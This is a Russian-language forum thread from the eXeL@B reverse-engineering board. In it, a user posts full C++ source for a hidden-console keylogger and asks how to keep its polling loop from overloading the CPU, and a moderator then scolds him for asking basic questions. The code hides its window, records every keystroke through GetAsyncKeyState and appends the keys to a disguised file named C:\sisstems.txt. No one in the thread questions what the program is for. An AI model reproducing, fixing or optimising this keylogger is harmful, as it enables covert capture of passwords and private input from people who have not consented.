eXeL@B —› Программирование —› Как побороть цикл чтоб не перегружал процессор ? |
Посл.ответ | Сообщение |
|
Создано: 14 февраля 2012 00:31 · Личное сообщение · #1 // loger.cpp: определяет точку входа для консольного приложения. // #include "stdafx.h" #include<iostream> #include<windows.h> #include<winuser.h> using namespace std; int S (int key, char *files) { if ( (key == 1) || (key == 2) ) return 0; FILE *Save; Save = fopen(files, "a+"); cout << key << endl; fprintf(Save, "%s", &key); fclose (Save); return 0; } void Hide() { HWND Hide; AllocConsole(); Hide = FindWindowA("ConsoleWindowClass", NULL); ShowWindow(Hide,0); } int main() { Hide(); char q; while (1) { for(q = 8; q <= 190; q++) { if (GetAsyncKeyState(q) == -32767) S (q,"C:\sisstems.txt"); } } system ("PAUSE"); return 0; } |
|
Создано: 14 февраля 2012 00:40 · Личное сообщение · #2 |
|
Создано: 14 февраля 2012 00:41 · Личное сообщение · #3 |
|
Создано: 14 февраля 2012 00:46 · Личное сообщение · #4 |
|
Создано: 14 февраля 2012 00:52 · Личное сообщение · #5 |
|
Создано: 14 февраля 2012 03:58 · Личное сообщение · #6 |
|
Создано: 14 февраля 2012 09:27 · Личное сообщение · #7 Автор начинает уже утомлять такими топиками. Мало того, что к форуму вопрос имеет отношения мало, так ещё и вопросы, ответами на которые переполнен гугл. Настоятельно рекомендуется освоить хотя бы основы, как апи функций, так и конструкций языка, а не бежать сюда по любому вопросу. Можно считать это предупреждением. З.Ы. Что касается предыдущего топика, пользуйся кнопкой "Правка", не создавай сообщения подряд. | Сообщение посчитали полезным: HandMill |
|
Создано: 14 февраля 2012 15:18 · Личное сообщение · #8 Уважаемый модератор наверное в курсе когда я зарегистрировался(наверное около месяца уже), бываю на форуме каждый день... Раз уж есть такая возможность спросить почему бы не воспользоваться...а так как правило я сам нахожу интересующую меня инфу. а ещё почему бы не создать подфорум для подобных вопросов? Для оффтопа ранг маленькие(замкнутый круг получается) За советы всем спасибо. По поводу сообщений подряд виноват,исправлюсь... |
|
Создано: 14 февраля 2012 15:49 · Личное сообщение · #9 |
|
Создано: 14 февраля 2012 16:37 · Личное сообщение · #10 Ограничение по рангу в оффтопе сделано специально, чтобы форум этим самым оффтопом не заваливали все подряд новоприбывшие. А что касается подфорума, тут дело в форуме вообще, к реверсу вопрос про незагрузку процессора в цикле относится мало, скоре это азы программирования. Для кодинга форумов хватает. Я, конечно, понимаю, что всегда проще спросить, чтоб другие люди пошарились в гугле/закромах памяти и ответили, чем шариться самому, но всё же неплохо знать меру, вопрос явно тривиальный. | Сообщение посчитали полезным: Dart Sergius |
eXeL@B —› Программирование —› Как побороть цикл чтоб не перегружал процессор ? |